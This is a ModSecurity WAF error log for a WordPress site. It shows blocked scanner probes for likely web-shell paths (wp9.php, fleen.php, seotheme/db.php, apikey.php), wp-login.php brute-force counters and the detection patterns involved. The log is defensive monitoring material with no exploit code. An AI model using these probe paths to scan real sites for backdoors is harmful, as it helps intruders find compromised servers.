[Mon Mar 23 20:49:31.627643 2026] [:error] [pid 38306:tid 38327] [client 145.239.195.38:36316] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "acE22zkL8qwu-hHc6BiKCQAAARM"]
[Mon Mar 23 20:49:33.585628 2026] [:error] [pid 38306:tid 38315] [client 145.239.195.38:60690] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "acE23TkL8qwu-hHc6BiKDAAAAQc"]
[Mon Mar 23 20:49:35.648641 2026] [:error] [pid 38177:tid 38233] [client 145.239.195.38:60694] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "acE233sYW-_HCI66MunrEgAAAFI"]
[Mon Mar 23 20:49:37.675104 2026] [:error] [pid 38176:tid 38208] [client 145.239.195.38:60696] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "acE24UtG4qlh1gvNjuIrDAAAABU"]
[Mon Mar 23 20:49:39.638462 2026] [:error] [pid 38306:tid 38322] [client 145.239.195.38:60708] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "acE24zkL8qwu-hHc6BiKEwAAAQ4"]
[Mon Mar 23 20:49:41.673944 2026] [:error] [pid 38176:tid 38205] [client 145.239.195.38:60722] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acE25UtG4qlh1gvNjuIrMAAAABI"]
[Mon Mar 23 20:49:43.578698 2026] [:error] [pid 38306:tid 38320] [client 145.239.195.38:41266] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "acE25zkL8qwu-hHc6BiKGwAAAQw"]
[Mon Mar 23 20:49:45.617125 2026] [:error] [pid 38306:tid 38318] [client 145.239.195.38:41270] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "acE26TkL8qwu-hHc6BiKIQAAAQo"]
[Mon Mar 23 20:49:47.649607 2026] [:error] [pid 38178:tid 38244] [client 145.239.195.38:41280] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "acE26w0axWfXsVvR9uc5WQAAAII"]
[Mon Mar 23 20:49:49.701878 2026] [:error] [pid 38306:tid 38322] [client 145.239.195.38:41286] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "acE27TkL8qwu-hHc6BiKLAAAAQ4"]
[Mon Mar 23 20:49:51.764116 2026] [:error] [pid 38306:tid 38325] [client 145.239.195.38:41290] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acE27zkL8qwu-hHc6BiKMgAAARE"]
[Mon Mar 23 20:49:53.818383 2026] [:error] [pid 38176:tid 38211] [client 145.239.195.38:38558] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "acE28UtG4qlh1gvNjuIrmAAAABg"]
[Mon Mar 23 20:49:55.929264 2026] [:error] [pid 38176:tid 38211] [client 145.239.195.38:38572] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "acE280tG4qlh1gvNjuIrrAAAABg"]
[Mon Mar 23 20:49:58.011538 2026] [:error] [pid 38176:tid 38199] [client 145.239.195.38:38586] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acE29ktG4qlh1gvNjuIruwAAAAw"]
[Mon Mar 23 20:49:59.937080 2026] [:error] [pid 38306:tid 38317] [client 145.239.195.38:38602] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "acE29zkL8qwu-hHc6BiKQQAAAQk"]
[Mon Mar 23 20:50:01.725698 2026] [:error] [pid 38306:tid 38312] [client 145.239.195.38:38616] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "acE2-TkL8qwu-hHc6BiKSAAAAQQ"]
[Mon Mar 23 20:52:15.691522 2026] [:error] [pid 38306:tid 38321] [client 185.59.44.60:50984] [client 185.59.44.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.59.44.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acE3fzkL8qwu-hHc6BiLuQAAAQ0"]
[Mon Mar 23 20:52:18.667001 2026] [:error] [pid 38306:tid 38327] [client 185.59.44.60:51560] [client 185.59.44.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.59.44.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acE3gjkL8qwu-hHc6BiLwAAAARM"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 23 21:27:25.416952 2026] [:error] [pid 52341:tid 52362] [client 213.238.177.188:17029] [client 213.238.177.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.238.177.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acE_vaPKTBDR2u47Gb3XgwAAAVM"]
[Mon Mar 23 21:39:02.808443 2026] [:error] [pid 52341:tid 52346] [client 69.6.213.217:37668] [client 69.6.213.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.6.213.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acFCdqPKTBDR2u47Gb3fPgAAAUM"]
[Mon Mar 23 21:39:04.606087 2026] [:error] [pid 52341:tid 52348] [client 69.6.213.217:37668] [client 69.6.213.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.6.213.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acFCeKPKTBDR2u47Gb3fQAAAAUU"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 23 21:55:58.431672 2026] [:error] [pid 38306:tid 38323] [client 202.184.78.228:18964] [client 202.184.78.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.184.78.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acFGbjkL8qwu-hHc6BisPwAAAQ8"]
[Mon Mar 23 21:56:02.301745 2026] [:error] [pid 38306:tid 38315] [client 202.184.78.228:18964] [client 202.184.78.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.184.78.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acFGcjkL8qwu-hHc6BisQgAAAQc"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 23 22:38:16.633143 2026] [:error] [pid 52341:tid 52350] [client 65.254.225.224:53122] [client 65.254.225.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.224, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acFQWKPKTBDR2u47Gb3_5QAAAUc"]
[Mon Mar 23 22:38:20.691042 2026] [:error] [pid 52341:tid 52348] [client 65.254.225.224:53122] [client 65.254.225.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.224, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acFQXKPKTBDR2u47Gb3_9gAAAUU"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 23 23:15:17.358470 2026] [:error] [pid 38178:tid 38246] [client 192.185.176.149:60534] [client 192.185.176.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.176.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acFZBQ0axWfXsVvR9udYAwAAAIQ"]
[Mon Mar 23 23:15:19.104271 2026] [:error] [pid 38178:tid 38251] [client 192.185.176.149:60534] [client 192.185.176.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.176.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acFZBw0axWfXsVvR9udYBAAAAIk"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 23 23:46:17.470166 2026] [:error] [pid 52341:tid 52360] [client 20.43.23.11:2381] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acFgSaPKTBDR2u47Gb0rPQAAAVE"], referer: www.google.com
[Mon Mar 23 23:46:18.616186 2026] [:error] [pid 38178:tid 38242] [client 20.43.23.11:15450] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acFgSg0axWfXsVvR9udffAAAAIA"], referer: www.google.com
[Mon Mar 23 23:46:18.923244 2026] [:error] [pid 52341:tid 52346] [client 20.43.23.11:14155] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/apikey/apikey.php"] [unique_id "acFgSqPKTBDR2u47Gb0rQQAAAUM"]
[Mon Mar 23 23:46:19.846089 2026] [:error] [pid 38306:tid 38315] [client 20.43.23.11:2402] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acFgSzkL8qwu-hHc6BjbNAAAAQc"], referer: www.google.com
[Mon Mar 23 23:46:20.226808 2026] [:error] [pid 38306:tid 38314] [client 20.43.23.11:2374] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/apikey/apikey.php"] [unique_id "acFgTDkL8qwu-hHc6BjbNgAAAQY"]
[Mon Mar 23 23:46:21.552876 2026] [:error] [pid 38306:tid 38320] [client 20.43.23.11:23543] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acFgTTkL8qwu-hHc6BjbPgAAAQw"], referer: www.google.com
[Mon Mar 23 23:46:21.867760 2026] [:error] [pid 38306:tid 38313] [client 20.43.23.11:15426] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/apikey/apikey.php"] [unique_id "acFgTTkL8qwu-hHc6BjbQQAAAQU"]
[Mon Mar 23 23:46:23.378602 2026] [:error] [pid 38306:tid 38324] [client 20.43.23.11:2411] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "acFgTzkL8qwu-hHc6BjbSwAAARA"], referer: www.google.com
[Mon Mar 23 23:46:23.595878 2026] [:error] [pid 38306:tid 38331] [client 20.43.23.11:2418] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/apikey/apikey.php"] [unique_id "acFgTzkL8qwu-hHc6BjbTgAAARc"]
[Mon Mar 23 23:46:23.801920 2026] [:error] [pid 38178:tid 38263] [client 20.43.23.11:14189] [client 20.43.23.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/apikey/apikey.php"] [unique_id "acFgTw0axWfXsVvR9udfgQAAAJU"]
[Tue Mar 24 00:42:06.888944 2026] [:error] [pid 56435:tid 56510] [client 43.133.220.37:52086] [client 43.133.220.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acFtXsrwr-l5A-s9ryBX8wAAAQo"]
[Tue Mar 24 01:17:24.569440 2026] [:error] [pid 56238:tid 56368] [client 40.85.222.197:17376] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "acF1pFSqceFAZRgPDq6ejgAAANQ"]
[Tue Mar 24 01:17:24.981341 2026] [:error] [pid 56435:tid 56508] [client 40.85.222.197:17400] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "acF1pMrwr-l5A-s9ryB5nAAAAQg"]
[Tue Mar 24 01:17:25.391839 2026] [:error] [pid 56237:tid 56344] [client 40.85.222.197:17395] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "acF1pQymO0MnzQb90MMmlwAAAJc"]
[Tue Mar 24 01:17:25.807563 2026] [:error] [pid 56238:tid 56354] [client 40.85.222.197:17298] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "acF1pVSqceFAZRgPDq6ekgAAAMY"]
[Tue Mar 24 01:17:26.222315 2026] [:error] [pid 56238:tid 56349] [client 40.85.222.197:17357] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/path.php"] [unique_id "acF1plSqceFAZRgPDq6elQAAAME"]
[Tue Mar 24 01:17:26.631354 2026] [:error] [pid 56435:tid 56517] [client 40.85.222.197:17402] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/path.php"] [unique_id "acF1psrwr-l5A-s9ryB5rQAAARA"]
[Tue Mar 24 01:17:27.041990 2026] [:error] [pid 56236:tid 56300] [client 40.85.222.197:17363] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/path.php"] [unique_id "acF1p3apFgYp0uZ8twAipgAAAEc"]
[Tue Mar 24 01:17:27.453065 2026] [:error] [pid 56236:tid 56314] [client 40.85.222.197:17284] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/path.php"] [unique_id "acF1p3apFgYp0uZ8twAiqAAAAFU"]
[Tue Mar 24 01:17:27.863103 2026] [:error] [pid 56236:tid 56309] [client 40.85.222.197:17295] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdf.php"] [unique_id "acF1p3apFgYp0uZ8twAirAAAAFA"]
[Tue Mar 24 01:17:28.272965 2026] [:error] [pid 56238:tid 56362] [client 40.85.222.197:17397] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdf.php"] [unique_id "acF1qFSqceFAZRgPDq6emwAAAM4"]
[Tue Mar 24 01:17:28.690509 2026] [:error] [pid 56237:tid 56332] [client 40.85.222.197:17289] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdf.php"] [unique_id "acF1qAymO0MnzQb90MMmoAAAAIs"]
[Tue Mar 24 01:17:29.109926 2026] [:error] [pid 56237:tid 56337] [client 40.85.222.197:17353] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdf.php"] [unique_id "acF1qQymO0MnzQb90MMmpAAAAJA"]
[Tue Mar 24 01:17:29.523500 2026] [:error] [pid 56237:tid 56344] [client 40.85.222.197:17380] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fleen.php"] [unique_id "acF1qQymO0MnzQb90MMmpgAAAJc"]
[Tue Mar 24 01:17:29.948111 2026] [:error] [pid 56238:tid 56370] [client 40.85.222.197:17399] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fleen.php"] [unique_id "acF1qVSqceFAZRgPDq6epwAAANY"]
[Tue Mar 24 01:17:30.367384 2026] [:error] [pid 56237:tid 56322] [client 40.85.222.197:17351] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fleen.php"] [unique_id "acF1qgymO0MnzQb90MMmqAAAAIE"]
[Tue Mar 24 01:17:30.787579 2026] [:error] [pid 56435:tid 56523] [client 40.85.222.197:17369] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fleen.php"] [unique_id "acF1qsrwr-l5A-s9ryB50gAAARY"]
[Tue Mar 24 01:17:31.222779 2026] [:error] [pid 56435:tid 56507] [client 40.85.222.197:17332] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-tem.php"] [unique_id "acF1q8rwr-l5A-s9ryB51QAAAQc"]
